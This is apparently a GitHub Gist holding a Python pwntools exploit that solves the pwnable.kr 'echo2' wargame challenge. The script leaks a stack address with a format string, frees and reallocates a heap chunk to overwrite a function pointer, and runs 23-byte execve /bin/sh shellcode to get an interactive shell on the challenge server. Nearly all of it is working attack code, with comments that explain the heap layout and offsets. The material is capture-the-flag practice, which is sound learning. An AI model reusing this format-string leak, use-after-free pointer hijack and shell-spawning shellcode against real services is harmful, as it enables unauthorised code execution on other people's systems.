Last active
March 9, 2021 23:20
-
-
Save Pascal-0x90/c4fa23f6916c772b34935a4ea59ee694 to your computer and use it in GitHub Desktop.
Pwnable.kr Solves: echo2
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
################################### | |
# Std imports | |
import sys | |
# Third party Imports | |
from pwn import * | |
# Binary | |
BINARY = sys.argv[1] | |
# Pwntools Binary info | |
context(os='linux', arch='amd64') | |
r = ROP(BINARY) | |
e = ELF(BINARY) | |
l = e.libc | |
# Connections and interactions | |
#p = process(BINARY) | |
p = remote("pwnable.kr", 9011) | |
# GDB anyone? | |
#gdb.attach(p) | |
#input("Ready to roll?") | |
################################### | |
''' | |
Notes: | |
- We notice now the only functions we can use is 2 and 3. | |
- There is a global var called o. This gets malloced to. | |
- In cleanup it gets freed, we could just recall option 2 though. | |
- In the func echo3, the malloc is within the same bin as the first malloc. | |
- This allows us to abuse and change the addr to some other place. | |
- We should be able to store at least 24 bytes of shellcode in the name field. I think thats enough. | |
- Leak | |
''' | |
# Shellcraft is too big, used 23 byte shellcode found on exploitdb https://www.exploit-db.com/exploits/36858 | |
SHELLCODE = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" | |
JUNK = b"A" * 24 | |
def set_shellcode(p): | |
# Wait till ready | |
p.recvuntil(":") | |
# Set our name as the shellcode | |
if type(SHELLCODE) == bytes: | |
p.sendline(SHELLCODE) | |
else: | |
p.sendline(asm(SHELLCODE)) | |
def leak_stk(p): | |
# Wait till ready | |
p.recvuntil("> ") | |
# Select option 2 | |
p.sendline("2") | |
p.recvline() | |
# We want to leak the pointer to this loc | |
# we shall send it a format string to print pointers | |
p.sendline("%10$p") | |
# Now recv the leak and store | |
leak = int(p.recvline().strip(),16) | |
# Return the leak | |
return leak | |
def free_o(p): | |
# wait till ready | |
p.recvuntil("> ") | |
# Go to exit | |
p.sendline("4") | |
# Haha, jk | |
p.sendline("n") | |
def overwrite_o(p, leak): | |
# Wait till ready | |
p.recvuntil("> ") | |
# Select option 3 to overwrite prev o location | |
p.sendline("3") | |
# Wait till ready | |
p.recvline() | |
p.clean() | |
''' | |
Now lets overwrite it with our name location | |
Based on our leak, we looked in mem and found: | |
0x7ffc8651f790-0x7ffc8651f770 = 0x20 for difference | |
name location. | |
We also want to make sure we overwrite the correct | |
location. So currently we have a chunk which has been | |
brought in from tcache which is pointing to the beginning | |
of o. We want to try to overwrite hello or goodbye in o | |
as that will then execute our shellcode. Since hello has | |
already executed. Lets overwrite goodbye. This is currently in the | |
third position which is 3*8 = 24 bytes away from the start of o. | |
Therefore we need to buffer with junk. | |
''' | |
p.sendline(JUNK + p64(leak - 0x20)) | |
return None | |
set_shellcode(p) | |
leak = leak_stk(p) | |
free_o(p) | |
overwrite_o(p, leak) | |
p.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment